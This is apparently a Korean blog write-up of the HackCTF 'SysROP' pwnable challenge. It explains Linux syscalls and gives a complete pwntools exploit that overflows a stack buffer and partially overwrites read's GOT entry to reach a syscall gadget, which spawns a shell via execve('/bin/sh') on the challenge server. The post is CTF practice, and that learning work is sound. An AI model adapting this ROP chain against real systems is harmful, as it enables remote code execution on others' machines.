HackCTF는 여러 해킹 기법들을 공부할 수 있는 워게임 사이트로 주소는 https://ctf.j0n9hyun.xyz/ 입니다.
HackCTF
Do you wanna be a God? If so, Challenge!
ctf.j0n9hyun.xyz
오늘 풀어볼 문제는 HackCTF에 있는 포너블 분야의 문제로
SysROP (350) 문제입니다.
문제 풀이 전 필요한 개념
이번 문제는 일반적인 ROP 방식으로 해결할 수 없는 문제입니다. 보통 puts, write, printf 함수 등을 가젯으로 사용해서 실제 함수 주소를 얻어 libc version을 얻거나, libc가 제공됩니다. 그리고 libc version을 통해서 offset 계산으로 libc_base leak이 가능해지고 system, oneshot이 사용 가능해집니다.
그런데, 만약에 puts, printf, write 함수를 사용할 수 없다면 어떻게 해야 할까요? 이 질문은 이번 문제 풀이의 핵심이며, 바로 syscall을 이용하는 것이 해답입니다.
위키백과에 따르면
syscall은 운영 체제의 커널이 제공하는 서비스에 대해, 응용 프로그램의 요청에 따라 커널에 접근하기 위한 인터페이스이다.
라고 합니다.
좀 더 이해가가 가게 설명하자면, 커널의 서비스를 응용프로그램이 사용하기 위해서 사용하는 방법이 시스템 콜입니다. 즉, input, output 같은 커널의 서비스에 해당하는 기능을 사용하기 위해서 우리는 시스템 콜을 이용한다는 의미입니다.
"코딩할 때 쉽게 read, write 함수 사용해서 입출력이 가능했는데?" 라는 생각을 할 수 있는데 (제가 그랬어요..) GNU 라이브러리 glibc에 syscall을 wrapping한 함수들이기 때문에 편하게 사용할 수 있는 겁니다.
다시 말해서, read, write 같은 함수들은 내부에서 syscall을 요청합니다.
이 때, syscall은 여러 종류가 있는데 rax에 담겨 있는 값을 기반으로 호출하게 됩니다.
예를 들어, rax가 0이라면 sys_read를 1이라면 sys_write를....
옆의 사이트에서 syscall table을 확인할 수 있습니다. (https://filippo.io/linux-syscall-table/)
간략하게 syscall에 대해서 알아보았는데, 해당 개념을 이번 문제를 해결하는데 적용할 수 있습니다.
자, 이제 문제를 풀러가봅시다.
문제 분석

SysROP라는 제목과 접속 주소 zip파일이 제공됩니다. 제목을 통해서 syscall을 활용한 ROP 문제라는 힌트를 줍니다. 우선 해당 파일을 다운 받고 실행시켜보고, 보안기법을 확인해봅시다.

그냥 입력 한 번 받고 프로그램이 종료됩니다.

Nx-bit와 Partial RELRO인 것을 알 수 있습니다. got overwrite가 가능합니다.
그러면 이제 해당 elf 파일을 gdb로 열어봅시다.

main symbol이 없습니다.

stripped 되어있는 것을 알 수 있습니다. 이런 경우 debugging symbol이 존재하지 않기 때문에 디버깅할 때 main을 직접 찾아야 합니다. 생각보다 복잡하지 않습니다. IDA에서는 main을 알아서 찾아주기도 하지만, gdb로 찾는 경우 __libc_start_main에 break point를 걸고 프로그램을 실행시키면 인자로 main 주소를 받아오는 것을 확인할 수 있습니다.

__libc_start_main에 bp를 걸고 r을 해주면 main 주소를 첫 번째 인자로 받는 것을 알 수 있습니다. 이제 해당 주소를 보면

생각보다 매우 간단한 코드입니다. read 함수를 통해서 0x78 입력 받습니다. 그런데 스택 사이즈는 0x10이므로 BOF가 발생합니다. 여기까지는 일반적인 ROP와 다를 것이 없지만 got가 있는 즉, 우리가 사용할 수 있는 함수는 read함수와 setvbuf뿐입니다.
앞서 말했듯이 read 함수 내부에 있는 syscall을 활용해서 exceve("/bin/sh")을 실행시켜야 합니다.
그러기 위해서는 쓸 수 있는 영역에 /bin/sh을 입력하고 read 함수 내부에 있는 syscall_exceve를 호출해서 해당 /bin/sh을 인자로 넘겨주어야 합니다.
첫 번째로는 read 함수로 bss영역에 /bin/sh을 저장하고,
두 번째로는 read함수 내부에 있는 syscall 주소를 read_got에 덮어씌워서 바로 syscall이 실행되게끔하고,
세 번째로는 rax 값을 exceve 호출할 수 있도록 59로 세팅하면서 첫 번째 인자로 /bin/sh 주소를 넘겨야 합니다.
단계별 준비
단계별로 해결해보면
1. bss 영역은 readelf -S ./sysrop 명령어를 통해서 확인할 수 있습니다.

bss 시작 주소: 0x601040
2. syscall 주소 찾기

read 함수와 syscall의 주소가 하위 1바이트 차이만 나므로 \x5e 혹은 \x7b로 read_got를 덮어씌우면 된다.
3. read 함수와 syscall을 위한 가젯찾기

read 함수에서 인자가 세 개 필요하므로 0x4005eb: pop rdx pop rdi pop rsi ret
syscall에서 rax와 첫 인자 세팅이 필요하므로 0x4005ea: pop rax pop rdx pop rdi pop rsi ret
위를 기반으로 익스플로잇 코드를 짜면 다음과 같습니다.
페이로드 작성 및 실행
from pwn import*
context.log_level = "debug"
p = remote("ctf.j0n9hyun.xyz", 3024)
e = ELF("./sysrop")
pppr = 0x4005eb
ppppr = 0x4005ea
read_plt = e.plt['read']
read_got = e.got['read']
binsh = 0x601048
main = 0x4005f2
payload = "a"*0x10 + "b"*8
payload += p64(pppr)
payload += p64(8) + p64(0) + p64(binsh)
payload += p64(read_plt)
payload += p64(main)
p.sendline(payload)
#pause()
p.send("/bin/sh\x00")
payload = "a"*0x10 + "b"*8
payload += p64(pppr)
payload += p64(1) + p64(0) + p64(read_got)
payload += p64(read_plt)
payload += p64(ppppr)
payload += p64(59) + p64(0) + p64(binsh) + p64(0)
payload += p64(read_plt)
p.sendline(payload)
#pause()
p.send(p64(0x7b))
p.interactive()
우선, 첫 번째는 기본적인 ROP로 bss 영역에 read 함수로 /bin/sh을 입력받습니다.
(이 때, 0x601040은 stdout으로 채워져 있어서 8바이트를 더한 곳에 /bin/sh을 입력했습니다.)
main으로 다시 돌아와서 입력할 때, read 함수로 1바이트 입력 받는데 read_got에서 하위 1바이트를 바꿔서 syscall로 주소를 덮어씌웁니다.
덮어씌워진 상태에서 read_plt를 호출하는데 즉, syscall 호출인데 인자를 rax를 59 rdi에 /bin/sh 주소를 넘겨서 exceve("/bin/sh")을 호출하도록 합니다.
※ 바로 send하는 경우 잘 안되는 경우가 있어서 pause() 추가함. (없어도 될 때도 있음....)
해당 페이로드를 실행하면 다음과 같이 플래그 값을 얻을 수 있습니다.

이번 문제를 통해서 새롭게 syscall에 대해서 공부하는 경험을 할 수 있었다. 그리고 이번 문제를 풀면서 또 많은 삽질이 있었는데......
우선, bss 시작 영역에 stdout이 들어가 있는 것을 모르고 시작 영역부터 /bin/sh을 넣으려고 해서 시간이 걸렸고
로컬에서 gdb로 바이너리를 열어서 read 함수 내부에 있는 syscall 주소로 페이로드를 작성해서 계속 오류가 났다. (로컬에서도 gdb에서 libc attach 하고 싶은데..나는 왜 계속 안되는걸까...ㅠ)
마지막으로 "/bin/sh"을 넣어주면 제대로 쉘이 안따지고 "/bin/sh\x00"을 넣어줘야 제대로 쉘이 따졌다..
여담이지만, cmd로 연결해서 하는 것이 편한데.. 캡쳐할 때는 리눅스 터미널이 되게 깔끔하고 예쁜 것 같다..
'Wargame > Pwnable' 카테고리의 다른 글
| [포너블] HackCTF Simple_Overflow_ver_2 (150) 문제 풀이 (0) | 2021.02.17 |
|---|---|
| [포너블] HackCTF x64 Simple_size_BOF (150) 문제 풀이 (0) | 2021.02.17 |
| [포너블] HackCTF x64 Buffer Overflow (150) 문제 풀이 (0) | 2021.02.17 |
| [포너블] HackCTF 내 버퍼가 흘러넘친다!!! (150) 문제 풀이 (0) | 2021.02.17 |
| [포너블] HackCTF World Best Encryption Tool (350) | Canary, strncpy (0) | 2021.02.15 |






















































